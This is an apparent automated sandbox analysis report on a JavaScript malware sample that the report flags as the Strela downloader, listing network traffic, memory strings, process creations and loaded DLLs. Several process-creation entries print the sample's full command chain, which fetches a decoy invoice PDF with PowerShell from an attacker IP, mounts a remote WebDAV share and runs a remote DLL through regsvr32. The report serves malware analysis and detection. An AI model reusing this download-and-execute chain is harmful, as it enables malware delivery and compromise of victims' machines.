HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2063289248.00000224B87A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2142325768.00000266759F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.2140779002.00000266759F4000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2142325768.00000266759F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888//C$q
Source: net.exe, 00000007.00000003.2140779002.00000266759F4000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2142325768.00000266759F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/CCHq
Source: net.exe, 00000007.00000003.2140779002.00000266759F4000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2142325768.00000266759F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/WC
Source: net.exe, 00000007.00000002.2142253271.00000266759B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: svchost.exe, 00000009.00000002.3356145545.000001F31560E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2138998043.000001F3153D0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 3524, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 16981299741734811290.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/53@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5692:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2n30155f.yhb.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16981299741734811290.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1752,i,17091936421959275901,7858486724948188063,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1752,i,17091936421959275901,7858486724948188063,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
